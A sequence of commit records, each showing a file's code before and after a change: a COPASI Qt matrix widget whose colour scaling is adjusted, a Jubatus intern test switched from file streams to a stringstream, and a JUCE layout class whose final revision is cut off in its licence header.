\"utilities\/CCopasiVector.h\"\n\n#include \"model\/CModel.h\"\n\n#include <qtabwidget.h>\n\n\/**\n * Constructs a CQMathMatrixWidget which is a child of 'parent', with the\n * name 'name' and widget flags set to 'f'.\n *\/\nCQMathMatrixWidget::CQMathMatrixWidget(QWidget* parent, const char* name, WFlags fl)\n : CopasiWidget(parent, name, fl)\n{\n if (!name)\n setName(\"CQMathMatrixWidget\");\n setCaption(\"CQMathMatrixWidget\");\n\n mWidgetLayout = new QGridLayout(this, 1, 1, 11, 6, \"CQMathMatrixWidgetLayout\");\n\n \/\/ ********** Label **************\n mLabelTitle = new QLabel(this, \"SensLabel\");\n mLabelTitle->setText(\"Sensitivities\");\n mLabelTitle->setAlignment(int(QLabel::AlignVCenter\n | QLabel::AlignLeft));\n mLabelTitle->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);\n mWidgetLayout->addWidget(mLabelTitle, 0, 0);\n\n \/\/ tab widget\n mpTab = new QTabWidget(this, \"TabWidget\");\n mWidgetLayout->addMultiCellWidget(mpTab, 1, 2, 0, 2);\n\n \/\/ 1\n mArrayWidget1 = new CQArrayAnnotationsWidget(mpTab, \"ArrayWidget1\");\n \/\/mArrayWidget1->setColorCoding(new CColorScale1());\n \/\/CColorScaleAverage * tcs = new CColorScaleAverage();\n CColorScaleBiLog * tcs = new CColorScaleBiLog();\n mArrayWidget1->setColorCoding(tcs);\n \/\/tcs->setMinMax(-1,1);\n \/\/tcs->setSymmetric(true);\n \/\/tcs->setFactor(3.0);\n mArrayWidget1->setColorScalingAutomatic(true);\n mpTab->addTab(mArrayWidget1, \"Stoichiometry Matrix\");\n\n \/\/ 2\n mArrayWidget2 = new CQArrayAnnotationsWidget(mpTab, \"ArrayWidget2\");\n \/\/mArrayWidge2->setColorCoding(new CColorScale1());\n tcs = new CColorScaleBiLog();\n mArrayWidget2->setColorCoding(tcs);\n \/\/tcs2->setMinMax(-1,1);\n \/\/tcs2->setSymmetric(true);\n \/\/tcs2->setFactor(3.0);\n mArrayWidget2->setColorScalingAutomatic(true);\n mpTab->addTab(mArrayWidget2, \"Reduced Stoichiometry Matrix\");\n\n \/\/ 3\n mArrayWidget3 = new CQArrayAnnotationsWidget(mpTab, \"ArrayWidget3\");\n \/\/mArrayWidge2->setColorCoding(new CColorScale1());\n tcs = new CColorScaleBiLog();\n mArrayWidget3->setColorCoding(tcs);\n \/\/tcs2->setMinMax(-1,1);\n \/\/tcs2->setSymmetric(true);\n \/\/tcs2->setFactor(3.0);\n mArrayWidget3->setColorScalingAutomatic(true);\n mpTab->addTab(mArrayWidget3, \"Link Matrix\");\n}\n\n\/*\n * Destroys the object and frees any allocated resources\n *\/\nCQMathMatrixWidget::~CQMathMatrixWidget()\n{}\n\nvoid CQMathMatrixWidget::loadMatrices()\n{\n \/\/ CSensTask * pTask =\n \/\/ dynamic_cast<CSensTask*>((*CCopasiDataModel::Global->getTaskList())[\"Sensitivities\"]);\n \/\/ if (!pTask)\n \/\/ {\n \/\/ clearArrays();\n \/\/ return;\n \/\/}\n \/\/\n \/\/ CSensProblem * pProblem = dynamic_cast< CSensProblem * >(pTask->getProblem());\n \/\/ if (!pProblem)\n \/\/ {\n \/\/ clearArrays();\n \/\/ return;\n \/\/}\n\n const CModel* pModel = CCopasiDataModel::Global->getModel();\n\n \/\/mpResult = pProblem->getResultAnnotated();\n \/\/mpScaledResult = pProblem->getScaledResultAnnotated();\n\n const CArrayAnnotation * tmp;\n\n tmp = dynamic_cast<const CArrayAnnotation *>\n (pModel->getObject(CCopasiObjectName(\"Array=Stoichiometry(ann)\")));\n mArrayWidget1->setArrayAnnotation(tmp);\n\n tmp = dynamic_cast<const CArrayAnnotation *>\n (pModel->getObject(CCopasiObjectName(\"Array=Reduced stoichiometry(ann)\")));\n mArrayWidget2->setArrayAnnotation(tmp);\n\n tmp = dynamic_cast<const CArrayAnnotation *>\n (pModel->getObject(CCopasiObjectName(\"Array=Link matrix(ann)\")));\n mArrayWidget3->setArrayAnnotation(tmp);\n}\n\nvoid CQMathMatrixWidget::clearArrays()\n{\n mArrayWidget1->setArrayAnnotation(NULL);\n mArrayWidget2->setArrayAnnotation(NULL);\n mArrayWidget3->setArrayAnnotation(NULL);\n}\n\n\/\/*************************************\n\nbool CQMathMatrixWidget::update(ListViews::ObjectType C_UNUSED(objectType), ListViews::Action\n C_UNUSED(action), const std::string & C_UNUSED(key))\n{\n \/* if (this->isShown())\n return loadFromBackend();\n else\n return true;*\/\n return true;\n}\n\nbool CQMathMatrixWidget::leave()\n{\n return true;\n}\n\nbool CQMathMatrixWidget::enter(const std::string & C_UNUSED(key))\n{\n \/\/clear the widget if the pointer to the result has changed\n \/* CSensTask * pTask =\n dynamic_cast<CSensTask*>((*CCopasiDataModel::Global->getTaskList())[\"Sensitivities\"]);\n if (!pTask)\n {\n clearArrays();\n return false;\n }\n\n CSensProblem * pProblem = dynamic_cast< CSensProblem * >(pTask->getProblem());\n if (!pProblem)\n {\n clearArrays();\n return false;\n }\n\n if (mpResult != pProblem->getResultAnnotated())\n {\n clearArrays();\n return false;\n }\n *\/\n loadMatrices();\n\n return true;\n}\n<commit_msg>improvement in color scaling<commit_after>\/\/ Begin CVS Header\n\/\/ $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/UI\/CQMathMatrixWidget.cpp,v $\n\/\/ $Revision: 1.2 $\n\/\/ $Name: $\n\/\/ $Author: ssahle $\n\/\/ $Date: 2007\/02\/12 00:04:23 $\n\/\/ End CVS Header\n\n\/\/ Copyright (C) 2007 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc. and EML Research, gGmbH.\n\/\/ All rights reserved.\n\n\/\/#include <qpushbutton.h>\n#include <qlayout.h>\n#include <qlineedit.h>\n#include <qlabel.h>\n#include <qtable.h>\n\n#include \"copasi.h\"\n\n#include \"CQMathMatrixWidget.h\"\n#include \"qtUtilities.h\"\n\/\/#include \"sensitivities\/CSensTask.h\"\n\/\/#include \"sensitivities\/CSensProblem.h\"\n\n#include \"CopasiDataModel\/CCopasiDataModel.h\"\n\/\/#include \"utilities\/CCopasiVector.h\"\n\n#include \"model\/CModel.h\"\n\n#include <qtabwidget.h>\n\n\/**\n * Constructs a CQMathMatrixWidget which is a child of 'parent', with the\n * name 'name' and widget flags set to 'f'.\n *\/\nCQMathMatrixWidget::CQMathMatrixWidget(QWidget* parent, const char* name, WFlags fl)\n : CopasiWidget(parent, name, fl)\n{\n if (!name)\n setName(\"CQMathMatrixWidget\");\n setCaption(\"CQMathMatrixWidget\");\n\n mWidgetLayout = new QGridLayout(this, 1, 1, 11, 6, \"CQMathMatrixWidgetLayout\");\n\n \/\/ ********** Label **************\n mLabelTitle = new QLabel(this, \"SensLabel\");\n mLabelTitle->setText(\"Sensitivities\");\n mLabelTitle->setAlignment(int(QLabel::AlignVCenter\n | QLabel::AlignLeft));\n mLabelTitle->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);\n mWidgetLayout->addWidget(mLabelTitle, 0, 0);\n\n \/\/ tab widget\n mpTab = new QTabWidget(this, \"TabWidget\");\n mWidgetLayout->addMultiCellWidget(mpTab, 1, 2, 0, 2);\n\n \/\/ 1\n mArrayWidget1 = new CQArrayAnnotationsWidget(mpTab, \"ArrayWidget1\");\n \/\/mArrayWidget1->setColorCoding(new CColorScale1());\n \/\/CColorScaleAverage * tcs = new CColorScaleAverage();\n CColorScaleSimple * tcs = new CColorScaleSimple();\n mArrayWidget1->setColorCoding(tcs);\n tcs->setMinMax(-1.5, 1.5);\n \/\/tcs->setMinMax(-1,1);\n \/\/tcs->setSymmetric(true);\n \/\/tcs->setFactor(3.0);\n mArrayWidget1->setColorScalingAutomatic(false);\n mpTab->addTab(mArrayWidget1, \"Stoichiometry Matrix\");\n\n \/\/ 2\n mArrayWidget2 = new CQArrayAnnotationsWidget(mpTab, \"ArrayWidget2\");\n \/\/mArrayWidge2->setColorCoding(new CColorScale1());\n tcs = new CColorScaleSimple();\n mArrayWidget2->setColorCoding(tcs);\n tcs->setMinMax(-1.5, 1.5);\n \/\/tcs2->setMinMax(-1,1);\n \/\/tcs2->setSymmetric(true);\n \/\/tcs2->setFactor(3.0);\n mArrayWidget2->setColorScalingAutomatic(false);\n mpTab->addTab(mArrayWidget2, \"Reduced Stoichiometry Matrix\");\n\n \/\/ 3\n mArrayWidget3 = new CQArrayAnnotationsWidget(mpTab, \"ArrayWidget3\");\n \/\/mArrayWidge2->setColorCoding(new CColorScale1());\n tcs = new CColorScaleSimple();\n mArrayWidget3->setColorCoding(tcs);\n tcs->setMinMax(-1.5, 1.5);\n \/\/tcs2->setMinMax(-1,1);\n \/\/tcs2->setSymmetric(true);\n \/\/tcs2->setFactor(3.0);\n mArrayWidget3->setColorScalingAutomatic(false);\n mpTab->addTab(mArrayWidget3, \"Link Matrix\");\n}\n\n\/*\n * Destroys the object and frees any allocated resources\n *\/\nCQMathMatrixWidget::~CQMathMatrixWidget()\n{}\n\nvoid CQMathMatrixWidget::loadMatrices()\n{\n \/\/ CSensTask * pTask =\n \/\/ dynamic_cast<CSensTask*>((*CCopasiDataModel::Global->getTaskList())[\"Sensitivities\"]);\n \/\/ if (!pTask)\n \/\/ {\n \/\/ clearArrays();\n \/\/ return;\n \/\/}\n \/\/\n \/\/ CSensProblem * pProblem = dynamic_cast< CSensProblem * >(pTask->getProblem());\n \/\/ if (!pProblem)\n \/\/ {\n \/\/ clearArrays();\n \/\/ return;\n \/\/}\n\n const CModel* pModel = CCopasiDataModel::Global->getModel();\n\n \/\/mpResult = pProblem->getResultAnnotated();\n \/\/mpScaledResult = pProblem->getScaledResultAnnotated();\n\n const CArrayAnnotation * tmp;\n\n tmp = dynamic_cast<const CArrayAnnotation *>\n (pModel->getObject(CCopasiObjectName(\"Array=Stoichiometry(ann)\")));\n mArrayWidget1->setArrayAnnotation(tmp);\n\n tmp = dynamic_cast<const CArrayAnnotation *>\n (pModel->getObject(CCopasiObjectName(\"Array=Reduced stoichiometry(ann)\")));\n mArrayWidget2->setArrayAnnotation(tmp);\n\n tmp = dynamic_cast<const CArrayAnnotation *>\n (pModel->getObject(CCopasiObjectName(\"Array=Link matrix(ann)\")));\n mArrayWidget3->setArrayAnnotation(tmp);\n}\n\nvoid CQMathMatrixWidget::clearArrays()\n{\n mArrayWidget1->setArrayAnnotation(NULL);\n mArrayWidget2->setArrayAnnotation(NULL);\n mArrayWidget3->setArrayAnnotation(NULL);\n}\n\n\/\/*************************************\n\nbool CQMathMatrixWidget::update(ListViews::ObjectType C_UNUSED(objectType), ListViews::Action\n C_UNUSED(action), const std::string & C_UNUSED(key))\n{\n \/* if (this->isShown())\n return loadFromBackend();\n else\n return true;*\/\n return true;\n}\n\nbool CQMathMatrixWidget::leave()\n{\n return true;\n}\n\nbool CQMathMatrixWidget::enter(const std::string & C_UNUSED(key))\n{\n \/\/clear the widget if the pointer to the result has changed\n \/* CSensTask * pTask =\n dynamic_cast<CSensTask*>((*CCopasiDataModel::Global->getTaskList())[\"Sensitivities\"]);\n if (!pTask)\n {\n clearArrays();\n return false;\n }\n\n CSensProblem * pProblem = dynamic_cast< CSensProblem * >(pTask->getProblem());\n if (!pProblem)\n {\n clearArrays();\n return false;\n }\n\n if (mpResult != pProblem->getResultAnnotated())\n {\n clearArrays();\n return false;\n }\n *\/\n loadMatrices();\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c)2008-2011, Preferred Infrastructure Inc.\n\/\/ \n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/ \n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ \n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/ \n\/\/ * Neither the name of Preferred Infrastructure nor the names of other\n\/\/ contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <gtest\/gtest.h>\n\n#include \".\/intern.h\"\n\n#include <climits>\n#include <fstream>\n#include <string>\n#include <algorithm>\n\n#include \".\/serialization.h\"\n\nusing namespace std;\nusing namespace jubatus::util::data;\nusing namespace jubatus::util::data::serialization;\n\nstatic const char* tmp_file=\".\/tmp\";\n\nTEST(intern_test, string) {\n srandom(time(NULL));\n intern<string> im;\n\n \/\/ make a random string set\n vector<string> ss;\n for (int i=0;i<1000;++i) {\n string s;\n for (int j=0;j<32;++j) s+=random()%26+'a';\n ss.push_back(s);\n }\n sort(ss.begin(),ss.end());\n ss.erase(unique(ss.begin(),ss.end()),ss.end());\n \n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(-1,im.key2id(ss[i],false));\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(int(i),im.key2id(ss[i],true));\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(ss[i],im.id2key(i));\n}\n\nTEST(intern_test, count) {\n intern<string> im;\n string hoge=\"hoge\";\n EXPECT_FALSE(im.exist_key(hoge));\n EXPECT_FALSE(im.exist_id(0));\n im.key2id(hoge);\n EXPECT_TRUE(im.exist_key(hoge));\n EXPECT_TRUE(im.exist_id(0));\n}\n\nTEST(intern_test, serialize) {\n srandom(time(NULL));\n \/\/ make a random string set\n vector<string> ss;\n for (int i=0;i<1000;++i) {\n string s;\n for (int j=0;j<32;++j) s+=random()%26+'a';\n ss.push_back(s);\n }\n sort(ss.begin(),ss.end());\n ss.erase(unique(ss.begin(),ss.end()),ss.end());\n\n {\n \/\/ serialize\n intern<string> im;\n for (size_t i=0;i<ss.size();++i) im.key2id(ss[i]);\n ofstream ofs(tmp_file);\n binary_oarchive oa(ofs);\n oa<<im;\n }\n \n {\n \/\/ deserialize\n intern<string> im;\n ifstream ifs(tmp_file);\n binary_iarchive ia(ifs);\n ia>>im;\n EXPECT_EQ(ss.size(),im.size());\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(int(i),im.key2id(ss[i],false));\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(ss[i],im.id2key(i));\n \n }\n}\n<commit_msg>Remove fstream from intern_test; stringstream is used instead<commit_after>\/\/ Copyright (c)2008-2011, Preferred Infrastructure Inc.\n\/\/ \n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/ \n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ \n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/ \n\/\/ * Neither the name of Preferred Infrastructure nor the names of other\n\/\/ contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <gtest\/gtest.h>\n\n#include \".\/intern.h\"\n\n#include <climits>\n#include <sstream>\n#include <string>\n#include <algorithm>\n\n#include \".\/serialization.h\"\n\nusing namespace std;\nusing namespace jubatus::util::data;\nusing namespace jubatus::util::data::serialization;\n\nTEST(intern_test, string) {\n srandom(time(NULL));\n intern<string> im;\n\n \/\/ make a random string set\n vector<string> ss;\n for (int i=0;i<1000;++i) {\n string s;\n for (int j=0;j<32;++j) s+=random()%26+'a';\n ss.push_back(s);\n }\n sort(ss.begin(),ss.end());\n ss.erase(unique(ss.begin(),ss.end()),ss.end());\n \n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(-1,im.key2id(ss[i],false));\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(int(i),im.key2id(ss[i],true));\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(ss[i],im.id2key(i));\n}\n\nTEST(intern_test, count) {\n intern<string> im;\n string hoge=\"hoge\";\n EXPECT_FALSE(im.exist_key(hoge));\n EXPECT_FALSE(im.exist_id(0));\n im.key2id(hoge);\n EXPECT_TRUE(im.exist_key(hoge));\n EXPECT_TRUE(im.exist_id(0));\n}\n\nTEST(intern_test, serialize) {\n srandom(time(NULL));\n \/\/ make a random string set\n vector<string> ss;\n for (int i=0;i<1000;++i) {\n string s;\n for (int j=0;j<32;++j) s+=random()%26+'a';\n ss.push_back(s);\n }\n sort(ss.begin(),ss.end());\n ss.erase(unique(ss.begin(),ss.end()),ss.end());\n\n stringstream stream;\n\n {\n \/\/ serialize\n intern<string> im;\n for (size_t i=0;i<ss.size();++i) im.key2id(ss[i]);\n binary_oarchive oa(stream);\n oa<<im;\n }\n \n {\n \/\/ deserialize\n intern<string> im;\n binary_iarchive ia(stream);\n ia>>im;\n EXPECT_EQ(ss.size(),im.size());\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(int(i),im.key2id(ss[i],false));\n for (size_t i=0;i<ss.size();++i) EXPECT_EQ(ss[i],im.id2key(i));\n \n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n ==============================================================================\n\nCopyright (c) 2016, Daniel Walz\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, \nare permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this \n list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice, \n this list of conditions and the following disclaimer in the documentation \n and\/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its contributors \n may be used to endorse or promote products derived from this software without \n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND \nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED \nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. \nIN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, \nINDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, \nBUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, \nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF \nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE \nOR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED \nOF THE POSSIBILITY OF SUCH DAMAGE.\n \n ==============================================================================\n\n juce_ak_layout.cpp\n Created: 21 Feb 2016 9:14:52pm\n\n ==============================================================================\n*\/\n\n\n#include \"juce_ak_layout.h\"\n\nLayout::Layout(Orientation o, juce::Component* owner)\n : orientation (o),\n isUpdating (false),\n isCummulatingStretch (false),\n owningComponent (owner)\n{\n}\n\nLayout::~Layout()\n{\n}\n\nvoid Layout::setOrientation (const Orientation o)\n{\n orientation = o;\n}\n\n\nLayoutItem* Layout::addComponent (juce::Component* c, int idx)\n{\n LayoutItem* item = itemsList.insert (idx, new LayoutItem (c));\n updateGeometry();\n return item;\n}\n\nvoid Layout::removeComponent (juce::Component* c)\n{\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n if (item->isComponentItem() && item->getComponent() == c) {\n itemsList.remove (i);\n }\n }\n updateGeometry();\n}\n\nLayoutItem* Layout::addLabeledComponent (juce::Component* c, Orientation o, juce::Label** labelPtr, int idx)\n{\n \/\/ if the layout is not owned by a component, the label will not show up,\n \/\/ because addAndMakeVisible can not be called.\n jassert (owningComponent);\n \n juce::Label* label = new juce::Label();\n if (owningComponent) {\n owningComponent->addAndMakeVisible (label);\n }\n float h = label->getFont().getHeight();\n Layout* sub = addSubLayout (o, idx, owningComponent);\n sub->addComponent (label)->setFixedHeight (h);\n LabeledLayoutItem* labeledItem = new LabeledLayoutItem (c, label);\n sub->addRawItem (labeledItem);\n \n if (labelPtr) {\n *labelPtr = label;\n }\n\n updateGeometry();\n return labeledItem;\n}\n\nLayoutItem* Layout::addLabeledComponent (juce::Component* component, juce::StringRef text, Orientation o, int idx)\n{\n LayoutItem* item = addLabeledComponent(component, o, nullptr, idx);\n if (juce::Label* label = item->getLabel()) {\n label->setText (text, juce::dontSendNotification);\n label->setJustificationType (juce::Justification::centred);\n }\n return item;\n}\n\nLayout* Layout::addSubLayout (Orientation o, int idx, juce::Component* owner)\n{\n SubLayout* sub = new SubLayout (o, owningComponent);\n itemsList.insert (idx, sub);\n updateGeometry();\n return sub;\n}\n\nLayoutItem* Layout::addSSpacer (float sx, float sy, int idx)\n{\n LayoutItem* item = itemsList.insert (idx, new LayoutItem (LayoutItem::SpacerItem));\n updateGeometry();\n return item;\n}\n\nLayoutItem* Layout::getLayoutItem (juce::Component* c)\n{\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n if (item->isComponentItem() && item->getComponent() == c) {\n return item;\n }\n else if (item->isSubLayout()) {\n \/\/ search also sub layouts recoursively\n if (LayoutItem* subItem = getLayoutItem (c)) {\n return subItem;\n }\n }\n }\n return nullptr;\n}\n\nvoid Layout::addRawItem (LayoutItem* item, int idx)\n{\n itemsList.insert (idx, item);\n}\n\n\nvoid Layout::updateGeometry ()\n{\n if (owningComponent) {\n updateGeometry (owningComponent->getLocalBounds());\n }\n}\n\nvoid Layout::updateGeometry (juce::Rectangle<int> bounds)\n{\n \/\/ recursion check\n if (isUpdating) {\n return;\n }\n isUpdating = true;\n \n \/\/ remove items of deleted or invalid components\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n if (!item->isValid()) {\n itemsList.remove (i);\n }\n }\n\n itemsBounds.resize (itemsList.size ());\n\n float cummulatedX, cummulatedY;\n getCummulatedStretch (cummulatedX, cummulatedY);\n float availableWidth = bounds.getWidth();\n float availableHeight = bounds.getHeight();\n \n if (orientation == TopDown || orientation == BottomUp) {\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n float sx, sy;\n item->getStretch (sx, sy);\n float h = bounds.getHeight() * sy \/ cummulatedY;\n juce::Rectangle<int> childBounds (bounds.getX(), bounds.getY(), bounds.getWidth(), h);\n bool changedWidth, changedHeight;\n item->constrainBounds (childBounds, changedWidth, changedHeight);\n itemsBounds.set (i, childBounds);\n if (changedHeight) {\n itemBoundsFinal.set (i, true);\n availableHeight -= childBounds.getHeight();\n cummulatedY -= sy;\n }\n else {\n itemBoundsFinal.set (i, false);\n }\n if (changedWidth) {\n availableWidth = std::max (bounds.getWidth(), childBounds.getWidth());\n }\n }\n\n float y = bounds.getY();\n if (orientation == BottomUp) {\n y = bounds.getY() + bounds.getHeight();\n }\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n\n if (itemBoundsFinal.getUnchecked (i)) {\n float h = itemsBounds.getReference (i).getHeight();\n if (orientation == BottomUp) {\n y -= h;\n }\n juce::Rectangle<int> childBounds (bounds.getX(), y, availableWidth, h);\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n\n if (orientation == TopDown) {\n y += h;\n }\n }\n else {\n float sx, sy;\n item->getStretch (sx, sy);\n float h = availableHeight * sy \/cummulatedY;\n if (orientation == BottomUp) {\n y -= h;\n }\n juce::Rectangle<int> childBounds (bounds.getX(), y, availableWidth, h );\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n if (orientation == TopDown) {\n y += h;\n }\n }\n }\n } else if (orientation == LeftToRight || orientation == RightToLeft) {\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n float sx, sy;\n item->getStretch (sx, sy);\n float w = bounds.getWidth() * sx \/ cummulatedX;\n juce::Rectangle<int> childBounds (bounds.getX(), bounds.getY(), w, bounds.getHeight());\n bool changedWidth, changedHeight;\n item->constrainBounds (childBounds, changedWidth, changedHeight);\n itemsBounds.set (i, childBounds);\n if (changedWidth) {\n itemBoundsFinal.set (i, true);\n availableWidth -= childBounds.getWidth();\n cummulatedX -= sx;\n }\n else {\n itemBoundsFinal.set (i, false);\n }\n if (changedHeight) {\n availableHeight = std::max (bounds.getHeight(), childBounds.getHeight());\n }\n }\n\n float x = bounds.getX();\n if (orientation == RightToLeft) {\n x = bounds.getX() + bounds.getWidth();\n }\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n\n if (itemBoundsFinal.getUnchecked (i)) {\n float w = itemsBounds.getReference (i).getWidth();\n if (orientation == RightToLeft) {\n x -= w;\n }\n juce::Rectangle<int> childBounds (x, bounds.getY(), w, availableHeight);\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n\n if (orientation == LeftToRight) {\n x += w;\n }\n }\n else {\n float sx, sy;\n item->getStretch (sx, sy);\n float w = availableWidth * sx \/cummulatedX;\n if (orientation == RightToLeft) {\n x -= w;\n }\n juce::Rectangle<int> childBounds (x, bounds.getY(), w, availableHeight);\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n if (orientation == LeftToRight) {\n x += w;\n }\n }\n }\n }\n\n isUpdating = false;\n}\n\nvoid Layout::getCummulatedStretch (float& w, float& h) const\n{\n w = 0.0;\n h = 0.0;\n \n if (isCummulatingStretch) {\n return;\n }\n isCummulatingStretch = true;\n \n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n float x, y;\n item->getStretch (x, y);\n if (orientation == LeftToRight || orientation == RightToLeft) {\n w += x;\n h = std::max (h, y);\n }\n else if (orientation == TopDown || orientation == BottomUp) {\n w = std::max (w, x);\n h += y;\n }\n else {\n w += x;\n h += y;\n }\n ++item;\n }\n \n isCummulatingStretch = false;\n}\n\n\n\n\/\/ =============================================================================\nSubLayout::SubLayout (Orientation o, juce::Component* owner) : Layout (o, owner), LayoutItem (LayoutItem::SubLayout)\n{\n \n}\n\n\nvoid SubLayout::getStretch (float& w, float& h) const\n{\n w = 0.0;\n h = 0.0;\n getCummulatedStretch (w, h);\n}\n\n<commit_msg>Fixed missing stretch for spacer<commit_after>\/*\n ==============================================================================\n\nCopyright (c) 2016, Daniel Walz\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, \nare permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this \n list of 